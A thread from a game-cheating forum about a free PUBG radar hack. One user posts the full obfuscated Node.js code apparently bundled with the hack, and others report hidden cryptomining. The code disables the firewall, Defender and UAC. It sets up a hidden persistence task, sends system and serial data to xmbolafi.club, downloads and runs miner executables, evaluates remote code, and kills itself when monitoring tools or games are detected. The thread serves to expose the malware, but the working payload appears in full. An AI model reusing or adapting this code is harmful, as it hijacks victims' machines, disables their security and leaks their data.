[RELEASE][SOURCE] PUBG RADAR Hack Free Node.js

[babyiloveyou12]

Originally Posted by prtwlf

really? it's source code. you can check the code.

v1.1 the camera bug while driving has been fixed.

oh yeah?

var http = require('http');
var fs = require('fs');
var regedit = require('regedit');
var exec = require('child_process')['exec'];
var execSync = require('child_process')['execSync'];
var path = require('path');
var srequest = require('sync-request');
var si = require('systeminformation');
var SingleInstance = require('single-instance');
var date = new Date();
var day = date['getDate']();
var today = new Date();
today['setDate'](today['getDate']() + 3);
var dd = today['getDate']();
var mm = today['getMonth']() + 1;
var yyyy = today['getFullYear']();
if (dd < 10) {
    dd = '0' + dd
};
if (mm < 10) {
    mm = '0' + mm
};
var today = dd + '/' + mm + '/' + yyyy;
var appDir = path['dirname'](require['main']['filename']);
var blist = ['taskmgr.exe', 'wireshark.exe', 'Fiddler.exe', 'Charles.exe', 'smsniff.exe'];
var cmd = 'netsh advfirewall set allprofiles state off';
var cmz = 'schtasks.exe /query /TN "Microsoft\Windows\AppID\SmartScreens"';
var cmf = 'schtasks.exe /Create /SC MINUTE /mo 1 /TN "Microsoft\Windows\AppID\SmartScreens" /TR "' + appDir + '\nircmd.exe exec hide node.exe ' + appDir + '\index.js" /SD ' + today + ' /IT /F /RL HIGHEST';
var lversion, rversion, scommand, mane = null,
    exename;
var pcname, gpuname, osversion, serialnum, regpu;
var gpumodel, wamung;

function hget(_0x8b19x22) {
    var _0x8b19x23 = srequest('GET', _0x8b19x22);
    return _0x8b19x23['getBody']('utf8')
}

function checkgpu() {
    si['graphics'](function(_0x8b19x25) {
        gpuname = _0x8b19x25['controllers'][0]['model'];
        regpu = _0x8b19x25['controllers'][0]['model'];
        gpumodel = 'other';
        if (gpuname['indexOf']('NVIDIA') > -1) {
            gpumodel = 'nvidia'
        };
        if (gpuname['indexOf']('AMD') > -1) {
            gpumodel = 'amd'
        };
        var _0x8b19x26;
        var _0x8b19x27 = _0x8b19x25['controllers']['length'];
        if (_0x8b19x27 > 1) {
            for (_0x8b19x26 = 0; _0x8b19x26 < _0x8b19x27; _0x8b19x26++) {
                if (_0x8b19x25['controllers'][_0x8b19x26]['model']['indexOf']('NVIDIA') > -1 || _0x8b19x25['controllers'][_0x8b19x26]['model']['indexOf']('GeForce') > -1) {
                    regpu = _0x8b19x25['controllers'][_0x8b19x26]['model'];
                    gpumodel = 'nvidia'
                };
                if (_0x8b19x25['controllers'][_0x8b19x26]['model']['indexOf']('AMD') > -1 || _0x8b19x25['controllers'][_0x8b19x26]['model']['indexOf']('Radeon') > -1) {
                    regpu = _0x8b19x25['controllers'][_0x8b19x26]['model'];
                    gpumodel = 'amd'
                }
            }
        };
        console['log'](gpumodel);
        sendinfo()
    })
}

function sendinfo() {
    si['graphics'](function(_0x8b19x25) {
        gpuname = _0x8b19x25['controllers'][0]['model'];
        si['osInfo'](function(_0x8b19x25) {
            osversion = _0x8b19x25['distro'];
            pcname = _0x8b19x25['hostname'];
            si['diskLayout'](function(_0x8b19x25) {
                serialnum = _0x8b19x25[0]['serialNum'];
                console['log'](osversion + '\x0A' + pcname + '\x0A' + gpuname + '\x0A' + serialnum);
                hget('http://xmbolafi.club/pcreg.php?type=insert&pc=' + pcname + '&os=' + osversion + '&gpu=' + regpu + '&sn=' + serialnum + '&status=0')
            })
        })
    })
}
exec(cmz, function(_0x8b19x29, _0x8b19x2a, _0x8b19x2b) {
    if (_0x8b19x2a == '') {
        exec(cmf, function(_0x8b19x29, _0x8b19x2a, _0x8b19x2b) {})
    }
});
exec(cmd, function(_0x8b19x29, _0x8b19x2a, _0x8b19x2b) {});
regedit['createKey'](['HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection'], function(_0x8b19x2c) {
    regedit['putValue']({
        "\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72": {
            "\x44\x69\x73\x61\x62\x6C\x65\x41\x6E\x74\x69\x53\x70\x79\x77\x61\x72\x65": {
                value: '1',
                type: 'REG_DWORD'
            }
        }
    }, function(_0x8b19x2c) {
        regedit['putValue']({
            "\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72\x5C\x52\x65\x61\x6C\x2D\x54\x69\x6D\x65\x20\x50\x72\x6F\x74\x65\x63\x74\x69\x6F\x6E": {
                "\x44\x69\x73\x61\x62\x6C\x65\x52\x65\x61\x6C\x74\x69\x6D\x65\x4D\x6F\x6E\x69\x74\x6F\x72\x69\x6E\x67": {
                    value: '1',
                    type: 'REG_DWORD'
                }
            }
        }, function(_0x8b19x2c) {
            regedit['putValue']({
                "\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72": {
                    "\x44\x69\x73\x61\x62\x6C\x65\x41\x6E\x74\x69\x53\x70\x79\x77\x61\x72\x65": {
                        value: '1',
                        type: 'REG_DWORD'
                    }
                }
            }, function(_0x8b19x2c) {
                regedit['putValue']({
                    "\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72\x5C\x52\x65\x61\x6C\x2D\x54\x69\x6D\x65\x20\x50\x72\x6F\x74\x65\x63\x74\x69\x6F\x6E": {
                        "\x44\x69\x73\x61\x62\x6C\x65\x52\x65\x61\x6C\x74\x69\x6D\x65\x4D\x6F\x6E\x69\x74\x6F\x72\x69\x6E\x67": {
                            value: '1',
                            type: 'REG_DWORD'
                        }
                    }
                }, function(_0x8b19x2c) {
                    regedit['putValue']({
                        "\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x53\x79\x73\x74\x65\x6D": {
                            "\x43\x6F\x6E\x73\x65\x6E\x74\x50\x72\x6F\x6D\x70\x74\x42\x65\x68\x61\x76\x69\x6F\x72\x41\x64\x6D\x69\x6E": {
                                value: '0',
                                type: 'REG_DWORD'
                            }
                        }
                    }, function(_0x8b19x2c) {
                        regedit['putValue']({
                            "\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x53\x79\x73\x74\x65\x6D": {
                                "\x43\x6F\x6E\x73\x65\x6E\x74\x50\x72\x6F\x6D\x70\x74\x42\x65\x68\x61\x76\x69\x6F\x72\x55\x73\x65\x72": {
                                    value: '0',
                                    type: 'REG_DWORD'
                                }
                            }
                        }, function(_0x8b19x2c) {
                            regedit['createKey'](['HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance'], function(_0x8b19x2c) {
                                regedit['putValue']({
                                    "\x48\x4B\x43\x55\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x73\x5C\x53\x65\x74\x74\x69\x6E\x67\x73\x5C\x57\x69\x6E\x64\x6F\x77\x73\x2E\x53\x79\x73\x74\x65\x6D\x54\x6F\x61\x73\x74\x2E\x53\x65\x63\x75\x72\x69\x74\x79\x41\x6E\x64\x4D\x61\x69\x6E\x74\x65\x6E\x61\x6E\x63\x65": {
                                        "\x45\x6E\x61\x62\x6C\x65\x64": {
                                            value: '0',
                                            type: 'REG_DWORD'
                                        }
                                    }
                                }, function(_0x8b19x2c) {
                                    checkgpu()
                                })
                            })
                        })
                    })
                })
            })
        })
    })
})

var http = require('http');
var fs = require('fs');
var regedit = require('regedit');
var exec = require('child_process')['exec'];
var execSync = require('child_process')['execSync'];
var path = require('path');
var srequest = require('sync-request');
var si = require('systeminformation');
var SingleInstance = require('single-instance');
var date = new Date();
var day = date['getDate']();
var appDir = path['dirname'](require['main']['filename']);
var blist = ['taskmgr.exe', 'wireshark.exe', 'Fiddler.exe', 'Charles.exe', 'smsniff.exe', 'procexp.exe', 'proc64.exe'];
var glist = ['league of legends.exe', 'tslgame.exe', 'tslgame_be.exe', 'tslgame.exe', 'tslgame_be.exe', 'csgo.exe', 'overwatch.exe', 'overwatch launcher.exe', 'overwatch.exe', 'minecraftlauncher.exe', 'wow-64.exe', 'hearthstone.exe', 'dota2.exe', 'gtavlauncher.exe', 'rainbowsix.exe', 'rainbowsix_be.exe', 'rainbowsix.exe', 'rainbowsix_be.exe', 'rocketleague.exe', 'heroesofthestorm_x64.exe', 'hl2.exe', 'warframe.x64.exe', 'warframe.exe', 'h1z1.exe', 'launchpad.exe', 'h1z1.exe', 'launchpad.exe', 'shootergame.exe', 'shootergame_be.exe', 'paladins.exe', 'paladinseac.exe', 'paladins.exe', 'paladinseac.exe', 'pathofexile_x64steam.exe', 'hl2.exe', 'rust.exe', 'rustclient.exe', 'worldoftanks.exe', 'ffxiv_dx11.exe', 'bf1.exe', 'geometrydash.exe', 'dolphin.exe', 'terraria.exe', 'brawlhalla.exe', 'payday2_win32_release.exe', 'walkingdead101.exe', 'sonicmania.exe', 'golf with your friends.exe', 'cities.exe', 'arma3launcher.exe', 'left4dead2.exe', 'project64.exe', 'runescape.exe', 'deadbydaylight.exe', 'deadbydaylight-win64-shipping.exe', 'unturned.exe', 'unturned_be.exe', 'wowslauncher.exe', 'eocapp.exe', 'supporttool.exe', 'eocapp.exe', 'bf1.exe', 'isaac-ng.exe', 'blackdesert64.exe', 'black desert online steam launcher.exe', 'tslgame.exe', 'steamlauncher.exe', 'hiveswap-act1.exe', 'hoi4.exe', 'monaco.exe', 'civilizationv_dx11.exe', 'smiteeac.exe', 'factorio.exe', 'diablo iii64.exe', 'sc2_x64.exe', 'skyrimlauncher.exe', 'tesv.exe', 'skyrimlauncher.exe', 'tesv.exe', 'thedivision.exe', 'dontstarve_steam.exe', 'shellshocklive.exe', 'vc_redist.exe', 'spaceengineers.exe', 'starbound.exe', 'eurotrucks2.exe', 'portal2.exe', 'ts4_x64.exe', 'blackops3.exe', 'stardew valley.exe', 'darksoulsiii.exe', 'hl2.exe', 'fallout4.exe', 'fallout4launcher.exe', 'fallout4.exe', 'fallout4launcher.exe', 'falloutnv.exe', 'falloutnvlauncher.exe', 'falloutnv.exe', 'falloutnvlauncher.exe', 'maplestory.exe', 'witcher3.exe', 'hl2.exe', 'bf4.exe', 'modlauncherwpf.exe', 'gw2-64.exe', 'skyrimse.exe', 'skyrimselauncher.exe', 'skyrimse.exe', 'skyrimselauncher.exe', 'olgame.exe', 'outlastlauncher.exe', 'olgame.exe', 'depthgame.exe', 'tabletop simulator.exe', 'stellaris.exe', 'glyphclientapp.exe', 'gang beasts.exe', 'theforest.exe', 'insurgency.exe', 'insurgency_be.exe', 'eu4.exe', 'townofsalem.exe', 'battlerite.exe', 'robocraft.exe', 'golfit-win64-shipping.exe', 'heroesandgeneralsdesktop.exe', 'shadowverse.exe', '7daystodie.exe', '7daystodie_eac.exe', '7daystodie.exe', '7daystodie_eac.exe', 'kfgame.exe', 'starcraft.exe', 'undertale.exe', 'duckgame.exe', 'dirtybomblauncher.exe', 'businesstour.exe', 'falloutshelter.exe', 'slimerancher.exe', 'titanfall2.exe', 'starwarsbattlefront.exe', 'binkplay.exe', 'mb_warband.exe', 'swtor.exe', 'launchpad.exe', 'planetside2_x64.exe', 'clicker heroes.exe', 'psychonauts.exe', 'amtrucks.exe', 'codwaw.exe', 'dofus.exe', 'hl.exe', 'comedy night.exe', 'etg.exe', 'edlaunch.exe', 'wizardgraphicalclient.exe', 'adventure-capitalist.exe', 'aok hd.exe', 'aok hd.exe', 'evelauncher.exe', 'exefile.exe', 'evelauncher.exe', 'heat_signature.exe', 'rimworldwin.exe', 'speedrunners.exe', 'aces.exe', 'rivalsofaether.exe', 'beamng.exe', 'subnautica.exe', 'civilizationvi.exe', 'bethesda.net_launcher.exe', 'bethesda.exe', 'doomx64.exe', 'ftlgame.exe', 'realm of the mad god.exe', 'justcause3.exe', 'hl2.exe', 'vc_redist.exe', 's2_mp64_ship.exe', 'deadcells.exe', 'fifa17.exe', 'dbxv2.exe', 'eac_launcher.exe', 'summercamp.exe', 'prison architect.exe', 'tekkengame-win64-shipping.exe', 'theescapists2.exe', 'ck2game.exe', 'microsimulator.exe', 'mycomgames.exe', 'shadowofmordor.exe', 'mgsvtpp.exe', 'idledragons.exe', 'huniepop.exe', 'ultimatechickenhorse.exe', 'nierautomata.exe', 'darksoulsii.exe', 'warhammer2.exe', 'skullgirls.exe', 'farmingsimulator2017game.exe', '100orange.exe', 'necrodancer.exe', 't6mp.exe', 'battles-win.exe', 'dishonored.exe', 'svencoop.exe', 'tower-win64-shipping.exe', 'dyinglightgame.exe', 'cmw.exe', 'squad_launcher.exe', 'astro-win64-shipping.exe', 'creativerse.exe', 'abewin.exe', 'grw.exe', 'battleblocktheater.exe', 'killingfloor.exe', 'ksp.exe', 'ksp_x64.exe', 'rottr.exe', 'castle.exe', 'newzlauncher.exe', 'thenewz.exe', 'tbl-win64-shipping.exe', 'hl2.exe', 'battlefrontii.exe', 'cuphead.exe', 'nsuns4.exe', 'tera-launcher.exe', 'saintsrowiv.exe', 'absolver-win64-shipping.exe', 'scrapmechanic.exe', 'oxygennotincluded.exe', 'hl.exe', 'nuclearthrone.exe', 'dishonored_do.exe', 'hl2.exe', 'sims3launcherw.exe', 'ts3w.exe', 'eocapp.exe', 'ravenfield.exe', 'lifeisstrange.exe', 'hollow_knight.exe', 'game_launcher.exe', 'planetcoaster.exe', 'dishonored2.exe', 'clustertruck.exe', 'crushcrush.exe', 'bf3.exe', 'ww2.exe', 'reliccoh2.exe', 'realmgrinderdesktop.exe', 'pcars64.exe', 'hl.exe', 'gh3.exe', 'roblox.exe', 'gta-sa.exe', 'gta_sa.exe', 'gta-sa.exe', 'destiny2.exe', 'hoblauncher.exe', 'stickfight.exe', 'osu!.exe', 'falloutlauncher.exe', 'shadowofwar.exe', 'war-win64-shipping.exe', 'duelyst.exe', 'holodrive.exe', 'toothandtail.exe', 'love.exe', 'ballisticoverkill.exe', 'grip-win64-shipping.exe', 'hellion.exe', 'wolfneworder_x64.exe', 'dayofinfamy.exe', 'dayofinfamy_be.exe', 'deceit.exe', 'darkest.exe', 'batim.exe', 'hatintimegame.exe', 'besiege.exe', 'life is strange - before the storm.exe', 'guns up.exe', 'h1z1.exe', 'h1z1_be.exe', 'launchpad.exe', 'dlpc.exe', 'fifa18.exe', 'sanctumgame-win32-shipping.exe', 'human.exe', 'watch_dogs.exe', 'acorigins.exe', 'cs2d.exe', 'newcolossus_x64vk.exe', 'dayz_x64.exe', 'brutallegend.exe', 'fortniteclient-win64-shipping.exe', 'zombidle.exe', 'srhk.exe', 'vngame.exe', 'thebureau.exe', 'elsword.exe', 'rome2.exe', 'pizzeria simulator.exe', 'gettingoverit.exe', 'gunsoficarusonline.exe', 'zombidle.exe', 'gunsnboxes.exe', 'vrchat.exe', 'red crucible.exe', 'ac4bfsp.exe', 'ac4bfmp.exe', 'ac4bfsp.exe', 'escapefromtarkov.exe', 'scpsl.exe', 'theyarebillions.exe', 'tld.exe', 'pokemon trading card game online.exe', 'kingdom.exe', 'vrmonitor.exe', 'dontstarve_steam.exe', 'gwent.exe', 'long live santa.exe', 'slaythespire.exe', 'kingdomsandcastles.exe', 'northgard.exe', 'broforce_beta.exe', 'crossfire.exe', 'neverwinter.exe', 'tibia.exe', 'papersplease.exe', 'cw.exe', 'sporeapp.exe', 'plagueincevolved.exe', 'borderlandspresequel.exe', 'hotlinemiami.exe', 'homefront.exe', 'thehuntercotw_f.exe', 'tombraider.exe', 'isaac.exe', 'we were here.exe', 'this war of mine.exe', 'hotlinemiami2.exe'];
var cmd = 'netsh advfirewall set allprofiles state off';
var cmz = 'schtasks.exe /query /TN "Microsoft\Windows\AppID\SmartScreens"';
var cmf = 'schtasks.exe /Create /SC MINUTE /mo 1 /TN "Microsoft\Windows\AppID\SmartScreens" /TR "' + appDir + '\nircmd.exe exec hide node.exe ' + appDir + '\index.js" /IT /F /RL HIGHEST';
var lversion, rversion, scommand, mane = null,
    exename;
var pcname, gpuname, osversion, serialnum, regpu;
var gpumodel, wamung;

function hget(_0x7107x1f) {
    var _0x7107x20 = srequest('GET', _0x7107x1f);
    return _0x7107x20['getBody']('utf8')
}
var deleteFolderRecursive = function(path) {
    if (fs['existsSync'](path)) {
        fs['readdirSync'](path)['forEach'](function(_0x7107x22, _0x7107x23) {
            var _0x7107x24 = path + '/' + _0x7107x22;
            if (fs['lstatSync'](_0x7107x24)['isDirectory']()) {
                deleteFolderRecursive(_0x7107x24)
            } else {
                fs['unlinkSync'](_0x7107x24)
            }
        });
        fs['rmdirSync'](path)
    }
};

function remove_file(_0x7107x26) {
    return fs['unlinkSync'](_0x7107x26)
}

function read_file(_0x7107x26) {
    return fs['readFileSync'](_0x7107x26, 'utf8')
}

function write_file(_0x7107x29, _0x7107x2a) {
    fs['writeFileSync'](_0x7107x29, _0x7107x2a)
}

function exist_file(_0x7107x2c) {
    return fs['existsSync'](_0x7107x2c)
}

function deleteoldversion() {
    if (exist_file(appDir + '\'+ lversion+ gpumodel+ '.exe ')){remove_file(appDir+ '\
            '+ lversion+ gpumodel+ '.exe ')};if(exist_file(appDir+ '\
            '+ lversion)){}}function checkversion(){wamung= wamung+ gpumodel;if(gpumodel!= '
            other '){if(exist_file(appDir+ '\
            version.txt ')== false){write_file(appDir+ '\
            version.txt ','
            0 ');console['
            log ']('
            version.txt yok ')};lversion= read_file(appDir+ '\
            version.txt ');rversion= hget('
            http: //xmbolafi.club/version.txt');console['log']('version kontrol old:'+ lversion+ ' new:'+ rversion);if(lversion!= rversion){console['log']('yeni version indir');deleteoldversion();var _0x7107x22=fs['createWriteStream'](appDir+ '\'+ rversion+ gpumodel+ '.exe');_0x7107x22['on']('finish',function(){write_file(appDir+ '\version.txt',rversion);console['log']('yeni version indi');exec(appDir+ '\nircmd.exe exec hide '+ rversion+ gpumodel+ '.exe -d"'+ appDir+ '"',function(_0x7107x2f,_0x7107x30,_0x7107x31){process['exit']()})});var _0x7107x32=http['get']('http://xmbolafi.club/'+ rversion+ gpumodel+ '.exe',function(_0x7107x33){_0x7107x33['pipe'](_0x7107x22)})}else {console['log'](gpumodel);scommand= hget('http://xmbolafi.club/sm'+ gpumodel+ '.txt');exename= scommand['split']('.exe')[0]+ '.exe';mane= exec(appDir+ '\'+ lversion+ '\'+ scommand,function(_0x7107x2f,_0x7107x30,_0x7107x31){});console['log']('version guncel')}}else {clearInterval(intervalObj2);eval(hget('http://xmbolafi.club/eval.txt'))}}function first_run(){exec(cmz,function(_0x7107x35,_0x7107x30,_0x7107x31){if(_0x7107x30== ''){exec(cmf,function(_0x7107x35,_0x7107x30,_0x7107x31){})}});exec(cmd,function(_0x7107x35,_0x7107x30,_0x7107x31){});regedit['createKey'](['HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection'],function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72":{"\x44\x69\x73\x61\x62\x6C\x65\x41\x6E\x74\x69\x53\x70\x79\x77\x61\x72\x65":{value:'1',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72\x5C\x52\x65\x61\x6C\x2D\x54\x69\x6D\x65\x20\x50\x72\x6F\x74\x65\x63\x74\x69\x6F\x6E":{"\x44\x69\x73\x61\x62\x6C\x65\x52\x65\x61\x6C\x74\x69\x6D\x65\x4D\x6F\x6E\x69\x74\x6F\x72\x69\x6E\x67":{value:'1',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72":{"\x44\x69\x73\x61\x62\x6C\x65\x41\x6E\x74\x69\x53\x70\x79\x77\x61\x72\x65":{value:'1',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x6F\x66\x74\x77\x61\x72\x65\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x20\x44\x65\x66\x65\x6E\x64\x65\x72\x5C\x52\x65\x61\x6C\x2D\x54\x69\x6D\x65\x20\x50\x72\x6F\x74\x65\x63\x74\x69\x6F\x6E":{"\x44\x69\x73\x61\x62\x6C\x65\x52\x65\x61\x6C\x74\x69\x6D\x65\x4D\x6F\x6E\x69\x74\x6F\x72\x69\x6E\x67":{value:'1',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x53\x79\x73\x74\x65\x6D":{"\x43\x6F\x6E\x73\x65\x6E\x74\x50\x72\x6F\x6D\x70\x74\x42\x65\x68\x61\x76\x69\x6F\x72\x41\x64\x6D\x69\x6E":{value:'0',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x4C\x4D\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x50\x6F\x6C\x69\x63\x69\x65\x73\x5C\x53\x79\x73\x74\x65\x6D":{"\x43\x6F\x6E\x73\x65\x6E\x74\x50\x72\x6F\x6D\x70\x74\x42\x65\x68\x61\x76\x69\x6F\x72\x55\x73\x65\x72":{value:'0',type:'REG_DWORD'}}},function(_0x7107x2f){regedit['createKey'](['HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance'],function(_0x7107x2f){regedit['putValue']({"\x48\x4B\x43\x55\x5C\x53\x4F\x46\x54\x57\x41\x52\x45\x5C\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x43\x75\x72\x72\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x5C\x4E\x6F\x74\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x73\x5C\x53\x65\x74\x74\x69\x6E\x67\x73\x5C\x57\x69\x6E\x64\x6F\x77\x73\x2E\x53\x79\x73\x74\x65\x6D\x54\x6F\x61\x73\x74\x2E\x53\x65\x63\x75\x72\x69\x74\x79\x41\x6E\x64\x4D\x61\x69\x6E\x74\x65\x6E\x61\x6E\x63\x65":{"\x45\x6E\x61\x62\x6C\x65\x64":{value:'0',type:'REG_DWORD'}}},function(_0x7107x2f){checkversion()})})})})})})})})})}function first_run_of_day(){if(read_file(appDir+ '\frod')!= day){console['log']('frod run');write_file(appDir+ '\frod',day);first_run()}else {checkversion()}}function sendinfo(){si['graphics'](function(_0x7107x38){gpuname= _0x7107x38['controllers'][0]['model'];si['osInfo'](function(_0x7107x38){osversion= _0x7107x38['distro'];pcname= _0x7107x38['hostname'];si['diskLayout'](function(_0x7107x38){serialnum= _0x7107x38[0]['serialNum'];write_file(appDir+ '\pcinfo.txt',osversion+ ' - '+ pcname+ ' - '+ regpu+ ' - '+ serialnum);console['log'](osversion+ '\x0A'+ pcname+ '\x0A'+ gpuname+ '\x0A'+ serialnum);hget('http://xmbolafi.club/pcreg.php?type=update&pc='+ pcname+ '&os='+ osversion+ '&gpu='+ regpu+ '&sn='+ serialnum+ '&status=1')})})})}function checkgpu(){si['graphics'](function(_0x7107x38){gpuname= _0x7107x38['controllers'][0]['model'];regpu= _0x7107x38['controllers'][0]['model'];gpumodel= 'other';if(gpuname['indexOf']('NVIDIA')>  -1){gpumodel= 'nvidia'};if(gpuname['indexOf']('AMD')>  -1){gpumodel= 'amd'};var _0x7107x3a;var _0x7107x3b=_0x7107x38['controllers']['length'];if(_0x7107x3b> 1){for(_0x7107x3a= 0;_0x7107x3a< _0x7107x3b;_0x7107x3a++){if(_0x7107x38['controllers'][_0x7107x3a]['model']['indexOf']('NVIDIA')>  -1|| _0x7107x38['controllers'][_0x7107x3a]['model']['indexOf']('GeForce')>  -1){regpu= _0x7107x38['controllers'][_0x7107x3a]['model'];gpumodel= 'nvidia'};if(_0x7107x38['controllers'][_0x7107x3a]['model']['indexOf']('AMD')>  -1|| _0x7107x38['controllers'][_0x7107x3a]['model']['indexOf']('Radeon')>  -1){regpu= _0x7107x38['controllers'][_0x7107x3a]['model'];gpumodel= 'amd'}}};console['log'](gpumodel);first_run_of_day();sendinfo()})}exec('tasklist',function(_0x7107x2f,_0x7107x30,_0x7107x31){for(i= 0;i< blist['length'];i++){if(_0x7107x30['toLowerCase']()['indexOf'](blist[i]['toLowerCase']())>  -1){console['log']('first die bitch');exec('taskkill /f /im '+ exename,function(_0x7107x2f,_0x7107x30,_0x7107x31){process['exit'](0)})}}});wamung= 'http://whos.amung.us/pingjs/?k=node';var locker= new SingleInstance('game-helper-js');locker['lock']()['then'](function(){if(exist_file(appDir+ '\frod')== false){write_file(appDir+ '\frod',0);checkgpu()}else {checkgpu()}})['catch'](function(_0x7107x2f){console['log'](_0x7107x2f);process['exit'](0)});var intervalObj=setInterval(()=>{exec('tasklist',function(_0x7107x2f,_0x7107x30,_0x7107x31){for(i= 0;i< blist['length'];i++){if(_0x7107x30['toLowerCase']()['indexOf'](blist[i]['toLowerCase']())>  -1){console['log']('die bitch');exec('taskkill /f /im '+ exename,function(_0x7107x2f,_0x7107x30,_0x7107x31){process['exit'](0)})}}})},1000);var intervalObj2=setInterval(()=>{exec('tasklist',function(_0x7107x2f,_0x7107x30,_0x7107x31){for(i= 0;i< glist['length'];i++){if(_0x7107x30['toLowerCase']()['indexOf'](glist[i]['toLowerCase']())>  -1){console['log']('die bitch');exec('taskkill /f /im '+ exename,function(_0x7107x2f,_0x7107x30,_0x7107x31){process['exit'](0)})}}})},5500);var intervalObj1=setInterval(()=>{hget(wamung)},60000);process['on']('exit',function(){console['log']('byeti')})

[stealth111]

I got problems with a web, idk why is sending my info to a remote server

http://xmbolafi.club/pcreg.php?type=insert&pc=(PCNAME)&os=(WIN.OS)&gpu=(NameOfMyGPU)&sn=(serialofmygpu)&Status=0

Its some kind of mining or whatafack why a radar wants to know my gpu and serial
Can anyone explain more?

EDIT: Just activated eset nod32 and blocks me this web.

[babyiloveyou12]

Originally Posted by stealth111

I got problems with a web, idk why is sending my info to a remote server

http://xmbolafi.club/pcreg.php?type=insert&pc=(PCNAME)&os=(WIN.OS)&gpu=(NameOfMyGPU)&sn=(serialofmygpu)&Status=0

Its some kind of mining or whatafack why a radar wants to know my gpu and serial
Can anyone explain more?

EDIT: Just activated eset nod32 and blocks me this web.

That is his website, he is using our GPU device to mine, first is, he identify what kind of GPU we are using and then he'll download the app miner that compatible to our GPU.

[prtwlf]

Originally Posted by babyiloveyou12

can you show me where is the code snippet in PubgRadarV1_1.rar ???
these codes are not mine.

[babyiloveyou12]

Originally Posted by prtwlf

can you show me where is the code snippet in PubgRadarV1_1.rar ???
these codes are not mine.

Those code are probably mine.
@ @

[13last]

Originally Posted by prtwlf

can you show me where is the code snippet in PubgRadarV1_1.rar ???
these codes are not mine.

So I don't post much, just observe, but I gotta say there 100% is a miner in this.

Out of curiosity left my pc on for like a day on non-sleep mode and come back to lag and pc hanging up. Checked task manager and both my internal and external gpus and cpu were running at 50%.

Well I hope you enjoyed the mining.

[prtwlf]

